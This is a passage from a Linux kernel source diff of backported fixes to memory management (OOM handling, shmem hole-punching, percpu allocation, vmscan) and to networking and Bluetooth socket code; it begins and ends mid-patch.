gfp_t gfp_mask, int order, * still freeing memory. */ read_lock(&tasklist_lock); - do { + for_each_thread(p, t) { list_for_each_entry(child, &t->children, sibling) { unsigned int child_points; @@ -455,13 +480,11 @@ void oom_kill_process(struct task_struct *p, gfp_t gfp_mask, int order, get_task_struct(victim); } } - } while_each_thread(p, t); + } read_unlock(&tasklist_lock); - rcu_read_lock(); p = find_lock_task_mm(victim); if (!p) { - rcu_read_unlock(); put_task_struct(victim); return; } else if (victim != p) { @@ -487,6 +510,7 @@ void oom_kill_process(struct task_struct *p, gfp_t gfp_mask, int order, * That thread will now get access to memory reserves since it has a * pending fatal signal. */ + rcu_read_lock(); for_each_process(p) if (p->mm == mm && !same_thread_group(p, victim) && !(p->flags & PF_KTHREAD)) { @@ -678,9 +702,12 @@ void out_of_memory(struct zonelist *zonelist, gfp_t gfp_mask, */ void pagefault_out_of_memory(void) { - struct zonelist *zonelist = node_zonelist(first_online_node, - GFP_KERNEL); + struct zonelist *zonelist; + + if (mem_cgroup_oom_synchronize(true)) + return; + zonelist = node_zonelist(first_online_node, GFP_KERNEL); if (try_set_zonelist_oom(zonelist, GFP_KERNEL)) { out_of_memory(NULL, 0, 0, NULL, false); clear_zonelist_oom(zonelist, GFP_KERNEL); diff --git a/mm/page-writeback.c b/mm/page-writeback.c index c16f9197c54cf..15d7898387387 100644 --- a/mm/page-writeback.c +++ b/mm/page-writeback.c @@ -881,8 +881,11 @@ static void bdi_update_write_bandwidth(struct backing_dev_info *bdi, * bw * elapsed + write_bandwidth * (period - elapsed) * write_bandwidth = --------------------------------------------------- * period + * + * @written may have decreased due to account_page_redirty(). + * Avoid underflowing @bw calculation. */ - bw = written - bdi->written_stamp; + bw = written - min(written, bdi->written_stamp); bw *= HZ; if (unlikely(elapsed > period)) { do_div(bw, elapsed); @@ -946,7 +949,7 @@ static void global_update_bandwidth(unsigned long thresh, unsigned long now) { static DEFINE_SPINLOCK(dirty_lock); - static unsigned long update_time; + static unsigned long update_time = INITIAL_JIFFIES; /* * check locklessly first to optimize away locking for the most time diff --git a/mm/page_alloc.c b/mm/page_alloc.c index 3ce422cfc0154..a7071ac211ddf 100644 --- a/mm/page_alloc.c +++ b/mm/page_alloc.c @@ -2203,6 +2203,14 @@ __alloc_pages_may_oom(gfp_t gfp_mask, unsigned int order, return NULL; } + /* + * PM-freezer should be notified that there might be an OOM killer on + * its way to kill and wake somebody up. This is too early and we might + * end up not killing anything but false positives are acceptable. + * See freeze_processes. + */ + note_oom_kill(); + /* * Go through the zonelist yet one more time, keep very high watermark * here, this is only to catch a parallel oom killing, we must fail if @@ -2441,7 +2449,7 @@ static inline int gfp_to_alloc_flags(gfp_t gfp_mask) { int alloc_flags = ALLOC_WMARK_MIN | ALLOC_CPUSET; - const gfp_t wait = gfp_mask & __GFP_WAIT; + const bool atomic = !(gfp_mask & (__GFP_WAIT | __GFP_NO_KSWAPD)); /* __GFP_HIGH is assumed to be the same as ALLOC_HIGH to save a branch. */ BUILD_BUG_ON(__GFP_HIGH != (__force gfp_t) ALLOC_HIGH); @@ -2450,20 +2458,20 @@ gfp_to_alloc_flags(gfp_t gfp_mask) * The caller may dip into page reserves a bit more if the caller * cannot run direct reclaim, or if the caller has realtime scheduling * policy or is asking for __GFP_HIGH memory. GFP_ATOMIC requests will - * set both ALLOC_HARDER (!wait) and ALLOC_HIGH (__GFP_HIGH). + * set both ALLOC_HARDER (atomic == true) and ALLOC_HIGH (__GFP_HIGH). */ alloc_flags |= (__force int) (gfp_mask & __GFP_HIGH); - if (!wait) { + if (atomic) { /* - * Not worth trying to allocate harder for - * __GFP_NOMEMALLOC even if it can't schedule. + * Not worth trying to allocate harder for __GFP_NOMEMALLOC even + * if it can't schedule. */ - if (!(gfp_mask & __GFP_NOMEMALLOC)) + if (!(gfp_mask & __GFP_NOMEMALLOC)) alloc_flags |= ALLOC_HARDER; /* - * Ignore cpuset if GFP_ATOMIC (!wait) rather than fail alloc. - * See also cpuset_zone_allowed() comment in kernel/cpuset.c. + * Ignore cpuset mems for GFP_ATOMIC rather than fail, see the + * comment for __cpuset_node_allowed_softwall(). */ alloc_flags &= ~ALLOC_CPUSET; } else if (unlikely(rt_task(current)) && !in_interrupt()) diff --git a/mm/page_cgroup.c b/mm/page_cgroup.c index 6d757e3a872ad..e007236f345ad 100644 --- a/mm/page_cgroup.c +++ b/mm/page_cgroup.c @@ -170,6 +170,7 @@ static void free_page_cgroup(void *addr) sizeof(struct page_cgroup) * PAGES_PER_SECTION; BUG_ON(PageReserved(page)); + kmemleak_free(addr); free_pages_exact(addr, table_size); } } diff --git a/mm/percpu-vm.c b/mm/percpu-vm.c index 3707c71ae4cdd..51108165f829d 100644 --- a/mm/percpu-vm.c +++ b/mm/percpu-vm.c @@ -108,7 +108,7 @@ static int pcpu_alloc_pages(struct pcpu_chunk *chunk, int page_start, int page_end) { const gfp_t gfp = GFP_KERNEL | __GFP_HIGHMEM | __GFP_COLD; - unsigned int cpu; + unsigned int cpu, tcpu; int i; for_each_possible_cpu(cpu) { @@ -116,14 +116,23 @@ static int pcpu_alloc_pages(struct pcpu_chunk *chunk, struct page **pagep = &pages[pcpu_page_idx(cpu, i)]; *pagep = alloc_pages_node(cpu_to_node(cpu), gfp, 0); - if (!*pagep) { - pcpu_free_pages(chunk, pages, populated, - page_start, page_end); - return -ENOMEM; - } + if (!*pagep) + goto err; } } return 0; + +err: + while (--i >= page_start) + __free_page(pages[pcpu_page_idx(cpu, i)]); + + for_each_possible_cpu(tcpu) { + if (tcpu == cpu) + break; + for (i = page_start; i < page_end; i++) + __free_page(pages[pcpu_page_idx(tcpu, i)]); + } + return -ENOMEM; } /** @@ -263,6 +272,7 @@ static int pcpu_map_pages(struct pcpu_chunk *chunk, __pcpu_unmap_pages(pcpu_chunk_addr(chunk, tcpu, page_start), page_end - page_start); } + pcpu_post_unmap_tlb_flush(chunk, page_start, page_end); return err; } diff --git a/mm/process_vm_access.c b/mm/process_vm_access.c index fd26d0433509e..e739825be8b35 100644 --- a/mm/process_vm_access.c +++ b/mm/process_vm_access.c @@ -298,7 +298,7 @@ static ssize_t process_vm_rw_core(pid_t pid, const struct iovec *lvec, goto free_proc_pages; } - mm = mm_access(task, PTRACE_MODE_ATTACH); + mm = mm_access(task, PTRACE_MODE_ATTACH_REALCREDS); if (!mm || IS_ERR(mm)) { rc = IS_ERR(mm) ? PTR_ERR(mm) : -ESRCH; /* diff --git a/mm/shmem.c b/mm/shmem.c index 6019778b951bf..87e496fc4590a 100644 --- a/mm/shmem.c +++ b/mm/shmem.c @@ -80,11 +80,12 @@ static struct vfsmount *shm_mnt; #define SHORT_SYMLINK_LEN 128 /* - * shmem_fallocate and shmem_writepage communicate via inode->i_private - * (with i_mutex making sure that it has only one user at a time): - * we would prefer not to enlarge the shmem inode just for that. + * shmem_fallocate communicates with shmem_fault or shmem_writepage via + * inode->i_private (with i_mutex making sure that it has only one user at + * a time): we would prefer not to enlarge the shmem inode just for that. */ struct shmem_falloc { + wait_queue_head_t *waitq; /* faults into hole wait for punch to end */ pgoff_t start; /* start of range currently being fallocated */ pgoff_t next; /* the next page offset to be fallocated */ pgoff_t nr_falloced; /* how many new pages have been fallocated */ @@ -533,22 +534,19 @@ static void shmem_undo_range(struct inode *inode, loff_t lstart, loff_t lend, return; index = start; - for ( ; ; ) { + while (index < end) { cond_resched(); pvec.nr = shmem_find_get_pages_and_swap(mapping, index, min(end - index, (pgoff_t)PAGEVEC_SIZE), pvec.pages, indices); if (!pvec.nr) { - if (index == start || unfalloc) + /* If all gone or hole-punch or unfalloc, we're done */ + if (index == start || end != -1) break; + /* But if truncating, restart to make sure all gone */ index = start; continue; } - if ((index == start || unfalloc) && indices[0] >= end) { - shmem_deswap_pagevec(&pvec); - pagevec_release(&pvec); - break; - } mem_cgroup_uncharge_start(); for (i = 0; i < pagevec_count(&pvec); i++) { struct page *page = pvec.pages[i]; @@ -560,8 +558,12 @@ static void shmem_undo_range(struct inode *inode, loff_t lstart, loff_t lend, if (radix_tree_exceptional_entry(page)) { if (unfalloc) continue; - nr_swaps_freed += !shmem_free_swap(mapping, - index, page); + if (shmem_free_swap(mapping, index, page)) { + /* Swap was replaced by page: retry */ + index--; + break; + } + nr_swaps_freed++; continue; } @@ -570,6 +572,11 @@ static void shmem_undo_range(struct inode *inode, loff_t lstart, loff_t lend, if (page->mapping == mapping) { VM_BUG_ON(PageWriteback(page)); truncate_inode_page(mapping, page); + } else { + /* Page was replaced by swap: retry */ + unlock_page(page); + index--; + break; } } unlock_page(page); @@ -826,6 +833,7 @@ static int shmem_writepage(struct page *page, struct writeback_control *wbc) spin_lock(&inode->i_lock); shmem_falloc = inode->i_private; if (shmem_falloc && + !shmem_falloc->waitq && index >= shmem_falloc->start && index < shmem_falloc->next) shmem_falloc->nr_unswapped++; @@ -1300,6 +1308,64 @@ static int shmem_fault(struct vm_area_struct *vma, struct vm_fault *vmf) int error; int ret = VM_FAULT_LOCKED; + /* + * Trinity finds that probing a hole which tmpfs is punching can + * prevent the hole-punch from ever completing: which in turn + * locks writers out with its hold on i_mutex. So refrain from + * faulting pages into the hole while it's being punched. Although + * shmem_undo_range() does remove the additions, it may be unable to + * keep up, as each new page needs its own unmap_mapping_range() call, + * and the i_mmap tree grows ever slower to scan if new vmas are added. + * + * It does not matter if we sometimes reach this check just before the + * hole-punch begins, so that one fault then races with the punch: + * we just need to make racing faults a rare case. + * + * The implementation below would be much simpler if we just used a + * standard mutex or completion: but we cannot take i_mutex in fault, + * and bloating every shmem inode for this unlikely case would be sad. + */ + if (unlikely(inode->i_private)) { + struct shmem_falloc *shmem_falloc; + + spin_lock(&inode->i_lock); + shmem_falloc = inode->i_private; + if (shmem_falloc && + shmem_falloc->waitq && + vmf->pgoff >= shmem_falloc->start && + vmf->pgoff < shmem_falloc->next) { + wait_queue_head_t *shmem_falloc_waitq; + DEFINE_WAIT(shmem_fault_wait); + + ret = VM_FAULT_NOPAGE; + if ((vmf->flags & FAULT_FLAG_ALLOW_RETRY) && + !(vmf->flags & FAULT_FLAG_RETRY_NOWAIT)) { + /* It's polite to up mmap_sem if we can */ + up_read(&vma->vm_mm->mmap_sem); + ret = VM_FAULT_RETRY; + } + + shmem_falloc_waitq = shmem_falloc->waitq; + prepare_to_wait(shmem_falloc_waitq, &shmem_fault_wait, + TASK_UNINTERRUPTIBLE); + spin_unlock(&inode->i_lock); + schedule(); + + /* + * shmem_falloc_waitq points into the shmem_fallocate() + * stack of the hole-punching task: shmem_falloc_waitq + * is usually invalid by the time we reach here, but + * finish_wait() does not dereference it in that case; + * though i_lock needed lest racing with wake_up_all(). + */ + spin_lock(&inode->i_lock); + finish_wait(shmem_falloc_waitq, &shmem_fault_wait); + spin_unlock(&inode->i_lock); + return ret; + } + spin_unlock(&inode->i_lock); + } + error = shmem_getpage(inode, vmf->pgoff, &vmf->page, SGP_CACHE, &ret); if (error) return ((error == -ENOMEM) ? VM_FAULT_OOM : VM_FAULT_SIGBUS); @@ -1821,12 +1887,25 @@ static long shmem_fallocate(struct file *file, int mode, loff_t offset, struct address_space *mapping = file->f_mapping; loff_t unmap_start = round_up(offset, PAGE_SIZE); loff_t unmap_end = round_down(offset + len, PAGE_SIZE) - 1; + DECLARE_WAIT_QUEUE_HEAD_ONSTACK(shmem_falloc_waitq); + + shmem_falloc.waitq = &shmem_falloc_waitq; + shmem_falloc.start = unmap_start >> PAGE_SHIFT; + shmem_falloc.next = (unmap_end + 1) >> PAGE_SHIFT; + spin_lock(&inode->i_lock); + inode->i_private = &shmem_falloc; + spin_unlock(&inode->i_lock); if ((u64)unmap_end > (u64)unmap_start) unmap_mapping_range(mapping, unmap_start, 1 + unmap_end - unmap_start, 0); shmem_truncate_range(inode, offset, offset + len - 1); /* No need to unmap again: hole-punching leaves COWed pages */ + + spin_lock(&inode->i_lock); + inode->i_private = NULL; + wake_up_all(&shmem_falloc_waitq); + spin_unlock(&inode->i_lock); error = 0; goto out; } @@ -1844,6 +1923,7 @@ static long shmem_fallocate(struct file *file, int mode, loff_t offset, goto out; } + shmem_falloc.waitq = NULL; shmem_falloc.start = start; shmem_falloc.next = start; shmem_falloc.nr_falloced = 0; @@ -1868,9 +1948,11 @@ static long shmem_fallocate(struct file *file, int mode, loff_t offset, NULL); if (error) { /* Remove the !PageUptodate pages we added */ - shmem_undo_range(inode, - (loff_t)start << PAGE_CACHE_SHIFT, - (loff_t)index << PAGE_CACHE_SHIFT, true); + if (index > start) { + shmem_undo_range(inode, + (loff_t)start << PAGE_CACHE_SHIFT, + ((loff_t)index << PAGE_CACHE_SHIFT) - 1, true); + } goto undone; } @@ -2048,8 +2130,10 @@ static int shmem_rename(struct inode *old_dir, struct dentry *old_dentry, struct if (new_dentry->d_inode) { (void) shmem_unlink(new_dir, new_dentry); - if (they_are_dirs) + if (they_are_dirs) { + drop_nlink(new_dentry->d_inode); drop_nlink(old_dir); + } } else if (they_are_dirs) { drop_nlink(old_dir); inc_nlink(new_dir); diff --git a/mm/slab_common.c b/mm/slab_common.c index 2d414508e9ecb..7d21d3fddbf04 100644 --- a/mm/slab_common.c +++ b/mm/slab_common.c @@ -55,6 +55,7 @@ static int kmem_cache_sanity_check(struct mem_cgroup *memcg, const char *name, continue; } +#if !defined(CONFIG_SLUB) /* * For simplicity, we won't check this in the list of memcg * caches. We have control over memcg naming, and if there @@ -68,6 +69,7 @@ static int kmem_cache_sanity_check(struct mem_cgroup *memcg, const char *name, s = NULL; return -EINVAL; } +#endif } WARN_ON(strchr(name, ' ')); /* It confuses parsers */ diff --git a/mm/truncate.c b/mm/truncate.c index c75b736e54b79..2d6151fc8f083 100644 --- a/mm/truncate.c +++ b/mm/truncate.c @@ -20,6 +20,7 @@ #include /* grr. try_to_release_page, do_invalidatepage */ #include +#include #include "internal.h" @@ -567,15 +568,66 @@ EXPORT_SYMBOL(truncate_pagecache); */ void truncate_setsize(struct inode *inode, loff_t newsize) { - loff_t oldsize; + loff_t oldsize = inode->i_size; - oldsize = inode->i_size; i_size_write(inode, newsize); - + if (newsize > oldsize) + pagecache_isize_extended(inode, oldsize, newsize); truncate_pagecache(inode, oldsize, newsize); } EXPORT_SYMBOL(truncate_setsize); +/** + * pagecache_isize_extended - update pagecache after extension of i_size + * @inode: inode for which i_size was extended + * @from: original inode size + * @to: new inode size + * + * Handle extension of inode size either caused by extending truncate or by + * write starting after current i_size. We mark the page straddling current + * i_size RO so that page_mkwrite() is called on the nearest write access to + * the page. This way filesystem can be sure that page_mkwrite() is called on + * the page before user writes to the page via mmap after the i_size has been + * changed. + * + * The function must be called after i_size is updated so that page fault + * coming after we unlock the page will already see the new i_size. + * The function must be called while we still hold i_mutex - this not only + * makes sure i_size is stable but also that userspace cannot observe new + * i_size value before we are prepared to store mmap writes at new inode size. + */ +void pagecache_isize_extended(struct inode *inode, loff_t from, loff_t to) +{ + int bsize = 1 << inode->i_blkbits; + loff_t rounded_from; + struct page *page; + pgoff_t index; + + WARN_ON(to > inode->i_size); + + if (from >= to || bsize == PAGE_CACHE_SIZE) + return; + /* Page straddling @from will not have any hole block created? */ + rounded_from = round_up(from, bsize); + if (to <= rounded_from || !(rounded_from & (PAGE_CACHE_SIZE - 1))) + return; + + index = from >> PAGE_CACHE_SHIFT; + page = find_lock_page(inode->i_mapping, index); + /* Page not cached? Nothing to do */ + if (!page) + return; + /* + * See clear_page_dirty_for_io() for details why set_page_dirty() + * is needed. + */ + if (page_mkclean(page)) + set_page_dirty(page); + unlock_page(page); + page_cache_release(page); +} +EXPORT_SYMBOL(pagecache_isize_extended); + /** * truncate_pagecache_range - unmap and remove pagecache that is hole-punched * @inode: inode diff --git a/mm/util.c b/mm/util.c index 2700feba62f57..819e0b14846d8 100644 --- a/mm/util.c +++ b/mm/util.c @@ -273,17 +273,14 @@ pid_t vm_is_stack(struct task_struct *task, if (in_group) { struct task_struct *t; - rcu_read_lock(); - if (!pid_alive(task)) - goto done; - t = task; - do { + rcu_read_lock(); + for_each_thread(task, t) { if (vm_is_stack_for_task(t, vma)) { ret = t->pid; goto done; } - } while_each_thread(task, t); + } done: rcu_read_unlock(); } diff --git a/mm/vmscan.c b/mm/vmscan.c index 88abbbc6e50c1..ce815b70e877d 100644 --- a/mm/vmscan.c +++ b/mm/vmscan.c @@ -891,18 +891,13 @@ static unsigned long shrink_page_list(struct list_head *page_list, * the caller does not have __GFP_IO. In this case mark * the page for immediate reclaim and continue scanning. * - * __GFP_IO is checked because a loop driver thread might + * Require may_enter_fs to wait on writeback, because + * fs may not have submitted IO yet. And a loop driver might * enter reclaim, and deadlock if it waits on a page for * which it is needed to do the write (loop masks off * __GFP_IO|__GFP_FS for this reason); but more thought * would probably show more reasons. * - * Don't require __GFP_FS, since we're not going into the - * FS, just waiting on its writeback completion. Worryingly, - * ext4 gfs2 and xfs allocate pages with - * grab_cache_page_write_begin(,,AOP_FLAG_NOFS), so testing - * may_enter_fs here is liable to OOM on them. - * * 3) memcg encounters a page that is not already marked * PageReclaim. memcg does not have any dirty pages * throttling so we could easily OOM just because too many @@ -919,7 +914,7 @@ static unsigned long shrink_page_list(struct list_head *page_list, /* Case 2 above */ } else if (global_reclaim(sc) || - !PageReclaim(page) || !(sc->gfp_mask & __GFP_IO)) { + !PageReclaim(page) || !may_enter_fs) { /* * This is slightly racy - end_page_writeback() * might have just cleared PageReclaim, then @@ -2951,18 +2946,20 @@ static bool prepare_kswapd_sleep(pg_data_t *pgdat, int order, long remaining, return false; /* - * There is a potential race between when kswapd checks its watermarks - * and a process gets throttled. There is also a potential race if - * processes get throttled, kswapd wakes, a large process exits therby - * balancing the zones that causes kswapd to miss a wakeup. If kswapd - * is going to sleep, no process should be sleeping on pfmemalloc_wait - * so wake them now if necessary. If necessary, processes will wake - * kswapd and get throttled again + * The throttled processes are normally woken up in balance_pgdat() as + * soon as pfmemalloc_watermark_ok() is true. But there is a potential + * race between when kswapd checks the watermarks and a process gets + * throttled. There is also a potential race if processes get + * throttled, kswapd wakes, a large process exits thereby balancing the + * zones, which causes kswapd to exit balance_pgdat() before reaching + * the wake up checks. If kswapd is going to sleep, no process should + * be sleeping on pfmemalloc_wait, so wake them now if necessary. If + * the wake up is premature, processes will wake kswapd and get + * throttled again. The difference from wake ups in balance_pgdat() is + * that here we are under prepare_to_wait(). */ - if (waitqueue_active(&pgdat->pfmemalloc_wait)) { - wake_up(&pgdat->pfmemalloc_wait); - return false; - } + if (waitqueue_active(&pgdat->pfmemalloc_wait)) + wake_up_all(&pgdat->pfmemalloc_wait); return pgdat_balanced(pgdat, order, classzone_idx); } diff --git a/net/8021q/vlan_core.c b/net/8021q/vlan_core.c index 4a78c4de9f200..42ef36a85e69c 100644 --- a/net/8021q/vlan_core.c +++ b/net/8021q/vlan_core.c @@ -103,8 +103,11 @@ EXPORT_SYMBOL(vlan_dev_vlan_id); static struct sk_buff *vlan_reorder_header(struct sk_buff *skb) { - if (skb_cow(skb, skb_headroom(skb)) < 0) + if (skb_cow(skb, skb_headroom(skb)) < 0) { + kfree_skb(skb); return NULL; + } + memmove(skb->data - ETH_HLEN, skb->data - VLAN_ETH_HLEN, 2 * ETH_ALEN); skb->mac_header += VLAN_HLEN; return skb; diff --git a/net/9p/client.c b/net/9p/client.c index addc116cecf0b..853d62327a58a 100644 --- a/net/9p/client.c +++ b/net/9p/client.c @@ -828,7 +828,8 @@ static struct p9_req_t *p9_client_zc_rpc(struct p9_client *c, int8_t type, if (err < 0) { if (err == -EIO) c->status = Disconnected; - goto reterr; + if (err != -ERESTARTSYS) + goto reterr; } if (req->status == REQ_STATUS_ERROR) { p9_debug(P9_DEBUG_ERROR, "req_status error %d\n", req->t_err); diff --git a/net/appletalk/ddp.c b/net/appletalk/ddp.c index 0018daccdea9c..8799e171addf1 100644 --- a/net/appletalk/ddp.c +++ b/net/appletalk/ddp.c @@ -1489,8 +1489,6 @@ static int atalk_rcv(struct sk_buff *skb, struct net_device *dev, goto drop; /* Queue packet (standard) */ - skb->sk = sock; - if (sock_queue_rcv_skb(sock, skb) < 0) goto drop; @@ -1644,7 +1642,6 @@ static int atalk_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr if (!skb) goto out; - skb->sk = sk; skb_reserve(skb, ddp_dl->header_length); skb_reserve(skb, dev->hard_header_len); skb->dev = dev; diff --git a/net/batman-adv/send.c b/net/batman-adv/send.c index 263cfd1ccee78..cf5b766612522 100644 --- a/net/batman-adv/send.c +++ b/net/batman-adv/send.c @@ -353,6 +353,9 @@ batadv_purge_outstanding_packets(struct batadv_priv *bat_priv, if (pending) { hlist_del(&forw_packet->list); + if (!forw_packet->own) + atomic_inc(&bat_priv->batman_queue_left); + batadv_forw_packet_free(forw_packet); } } @@ -379,6 +382,9 @@ batadv_purge_outstanding_packets(struct batadv_priv *bat_priv, if (pending) { hlist_del(&forw_packet->list); + if (!forw_packet->own) + atomic_inc(&bat_priv->bcast_queue_left); + batadv_forw_packet_free(forw_packet); } } diff --git a/net/bluetooth/hidp/core.c b/net/bluetooth/hidp/core.c index 5afd337cfa075..14f700398ba05 100644 --- a/net/bluetooth/hidp/core.c +++ b/net/bluetooth/hidp/core.c @@ -396,6 +396,20 @@ static void hidp_idle_timeout(unsigned long arg) { struct hidp_session *session = (struct hidp_session *) arg; + /* The HIDP user-space API only contains calls to add and remove + * devices. There is no way to forward events of any kind. Therefore, + * we have to forcefully disconnect a device on idle-timeouts. This is + * unfortunate and weird API design, but it is spec-compliant and + * required for backwards-compatibility. Hence, on idle-timeout, we + * signal driver-detach events, so poll() will be woken up with an + * error-condition on both sockets. + */ + + session->intr_sock->sk->sk_err = EUNATCH; + session->ctrl_sock->sk->sk_err = EUNATCH; + wake_up_interruptible(sk_sleep(session->intr_sock->sk)); + wake_up_interruptible(sk_sleep(session->ctrl_sock->sk)); + hidp_session_terminate(session); } diff --git a/net/bluetooth/l2cap_sock.c b/net/bluetooth/l2cap_sock.c index c676811c25797..1c791102ea425 100644 --- a/net/bluetooth/l2cap_sock.c +++ b/net/bluetooth/l2cap_sock.c @@ -725,7 +725,7 @@ static int l2cap_sock_setsockopt(struct socket *sock, int level, int optname, break; } - if (get_user(opt, (u32 __user *) optval)) { + if (get_user(opt, (u16 __user *) optval)) { err = -EFAULT; break; } @@ -887,7 +887,8 @@ static int l2cap_sock_shutdown(struct socket *sock, int how) l2cap_chan_close(chan, 0); lock_sock(sk); - if (sock_flag(sk, SOCK_LINGER) && sk->sk_lingertime) + if (sock_flag(sk, SOCK_LINGER) && sk->sk_lingertime && + !(current->flags & PF_EXITING)) err = bt_sock_wait_state(sk, BT_CLOSED, sk->sk_lingertime); } diff --git a/net/bluetooth/rfcomm/core.c b/net/bluetooth/rfcomm/core.c index 03a9c68e6c833..e73c645524cda 100644 --- a/net/bluetooth/rfcomm/core.c +++ b/net/bluetooth/rfcomm/core.c @@ -1856,10 +1856,13 @@ static struct rfcomm_session *rfcomm_process_rx(struct rfcomm_session *s) /* Get data directly from socket receive queue without copying it. */ while ((skb = skb_dequeue(&sk->sk_receive_queue))) { skb_orphan(skb); - if (!skb_linearize(skb)) + if (!skb_linearize(skb)) { s = rfcomm_recv_frame(s, skb); - else + if (!s) + break; + } else { kfree_skb(skb); + } } if (s && (sk->sk_state == BT_CLOSED)) diff --git a/net/bluetooth/rfcomm/sock.c b/net/bluetooth/rfcomm/sock.c index 75f10eee71f01..1e1e44be2c1e9 100644 --- a/net/bluetooth/rfcomm/sock.c +++ b/net/bluetooth/rfcomm/sock.c @@ -888,7 +888,8 @@ static int rfcomm_sock_shutdown(struct socket *sock, int how) sk->sk_shutdown = SHUTDOWN_MASK; __rfcomm_sock_close(sk); - if (sock_flag(sk, SOCK_LINGER) && sk->sk_lingertime) + if (sock_flag(sk, SOCK_LINGER) && sk->sk_lingertime && + !(current->flags & PF_EXITING)) err = bt_sock_wait_state(sk, BT_CLOSED, sk->sk_lingertime); } release_sock(sk); diff --git a/net/bluetooth/sco.c b/net/bluetooth/sco.c index f457dc2f4fcc8..a3abdc8533eb5 100644 --- a/net/bluetooth/sco.c +++ b/net/bluetooth/sco.c @@ -501,6 +501,9 @@ static int sco_sock_connect(struct socket *sock, struct sockaddr *addr, int alen if (!addr || addr->sa_family != AF_BLUETOOTH) return -EINVAL; + if (alen < sizeof(struct sockaddr_sco)) + return -EINVAL; + memset(&sa, 0, sizeof(sa)); len = min_t(unsigned int, sizeof(sa), alen); memcpy(&sa, addr, len); @@ -880,7 +883,8 @@ static int sco_sock_shutdown(struct socket *sock, int how) sco_sock_clear_timer(sk); __sco_sock_close(sk); - if (sock_flag(sk, SOCK_LINGER) && sk->sk_lingertime) + if (sock_flag(sk, SOCK_LINGER) && sk->sk_lingertime && + !(current->flags & PF_EXITING)) err = bt_sock_wait_state(sk, BT_CLOSED, sk->sk_lingertime); } @@ -900,7 +904,8 @@ static int sco_sock_release(struct socket *sock) sco_sock_close(sk); - if (sock_flag(sk, SOCK_LINGER) && sk->sk_lingertime) { + if (sock_flag(sk, SOCK_LINGER) && sk->sk_lingertime && + !(current->flags & PF_EXITING)) { lock_sock(sk); err = bt_sock_wait_state(sk, BT_CLOSED, sk->sk_lingertime); release_sock(sk); diff --git a/net/bridge/br_ioctl.c b/net/bridge/br_ioctl.c index cd8c3a44ab7dc..a882db499d336 100644 --- a/net/bridge/br_ioctl.c +++ b/net/bridge/br_ioctl.c @@ -21,18 +21,19 @@ #include #include "br_private.h" -/* called with RTNL */ static int get_bridge_ifindices(struct net *net, int *indices, int num) { struct net_device *dev; int i = 0; - for_each_netdev(net, dev) { + rcu_read_lock(); + for_each_netdev_rcu(net, dev) { if (i >= num) break; if (dev->priv_flags & IFF_EBRIDGE) indices[i++] = dev->ifindex; } + rcu_read_unlock(); return i; } @@ -247,9 +248,7 @@ static int old_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) if (!ns_capable(dev_net(dev)->user_ns, CAP_NET_ADMIN)) return -EPERM; - spin_lock_bh(&br->lock); br_stp_set_bridge_priority(br, args[1]); - spin_unlock_bh(&br->lock); return 0; case BRCTL_SET_PORT_PRIORITY: diff --git a/net/bridge/br_mdb.c b/net/bridge/br_mdb.c index 19942e38fd2d9..4e76d2a11284f 100644 --- a/net/bridge/br_mdb.c +++ b/net/bridge/br_mdb.c @@ -345,7 +345,6 @@ static int br_mdb_add_group(struct net_bridge *br, struct net_bridge_port *port, return -ENOMEM; rcu_assign_pointer(*pp, p); - br_mdb_notify(br->dev, port, group, RTM_NEWMDB); return 0; } @@ -368,6 +367,7 @@ static int __br_mdb_add(struct net *net, struct net_bridge *br, if (!p || p->br != br || p->state == BR_STATE_DISABLED) return -EINVAL; + memset(&ip, 0, sizeof(ip)); ip.proto = entry->addr.proto; if (ip.proto == htons(ETH_P_IP)) ip.u.ip4 = entry->addr.u.ip4; @@ -417,6 +417,7 @@ static int __br_mdb_del(struct net_bridge *br, struct br_mdb_entry *entry) if (timer_pending(&br->multicast_querier_timer)) return -EBUSY; + memset(&ip, 0, sizeof(ip)); ip.proto = entry->addr.proto; if (ip.proto == htons(ETH_P_IP)) ip.u.ip4 = entry->addr.u.ip4; diff --git a/net/bridge/br_multicast.c b/net/bridge/br_multicast.c index 81de0106528b7..a09ea178348c4 100644 --- a/net/bridge/br_multicast.c +++ b/net/bridge/br_multicast.c @@ -1007,7 +1007,7 @@ static int br_ip6_multicast_mld2_report(struct net_bridge *br, err = br_ip6_multicast_add_group(br, port, &grec->grec_mca, vid); - if (!err) + if (err) break; } @@ -1026,6 +1026,9 @@ static void br_multicast_add_router(struct net_bridge *br, struct net_bridge_port *p; struct hlist_node *slot = NULL; + if (!hlist_unhashed(&port->rlist)) + return; + hlist_for_each_entry(p, &br->router_list, rlist) { if ((unsigned long) port >= (unsigned long) p) break; @@ -1053,12 +1056,8 @@ static void br_multicast_mark_router(struct net_bridge *br, if (port->multicast_router != 1) return; - if (!hlist_unhashed(&port->rlist)) - goto timer; - br_multicast_add_router(br, port); -timer: mod_timer(&port->multicast_router_timer, now + br->multicast_querier_interval); } diff --git a/net/bridge/br_private.h b/net/bridge/br_private.h index e696833a31b53..11ab6628027ab 100644 --- a/net/bridge/br_private.h +++ b/net/bridge/br_private.h @@ -429,6 +429,16 @@ extern netdev_features_t br_features_recompute(struct net_bridge *br, extern int br_handle_frame_finish(struct sk_buff *skb); extern rx_handler_result_t br_handle_frame(struct sk_buff **pskb); +static inline bool br_rx_handler_check_rcu(const struct net_device *dev) +{ + return rcu_dereference(dev->rx_handler) == br_handle_frame; +} + +static inline struct net_bridge_port *br_port_get_check_rcu(const struct net_device *dev) +{ + return br_rx_handler_check_rcu(dev) ? br_port_get_rcu(dev) : NULL; +} + /* br_ioctl.c */ extern int br_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); extern int br_ioctl_deviceless_stub(struct net *net, unsigned int cmd, void __user *arg); diff --git a/net/bridge/br_stp_bpdu.c b/net/bridge/br_stp_bpdu.c index 8660ea3be7054..bdb459d21ad8e 100644 --- a/net/bridge/br_stp_bpdu.c +++ b/net/bridge/br_stp_bpdu.c @@ -153,7 +153,7 @@ void br_stp_rcv(const struct stp_proto *proto, struct sk_buff *skb, if (buf[0] != 0 || buf[1] != 0 || buf[2] != 0) goto err; - p = br_port_get_rcu(dev); + p = br_port_get_check_rcu(dev); if (!p) goto err; diff --git a/net/bridge/br_stp_if.c b/net/bridge/br_stp_if.c index 656a6f3e40de1..3995a66c3e4ea 100644 --- a/net/bridge/br_stp_if.c +++ b/net/bridge/br_stp_if.c @@ -128,7 +128,10 @@ static void br_stp_start(struct net_bridge *br) char *argv[] = { BR_STP_PROG, br->dev->name, "start", NULL }; char *envp[] = { NULL }; - r = 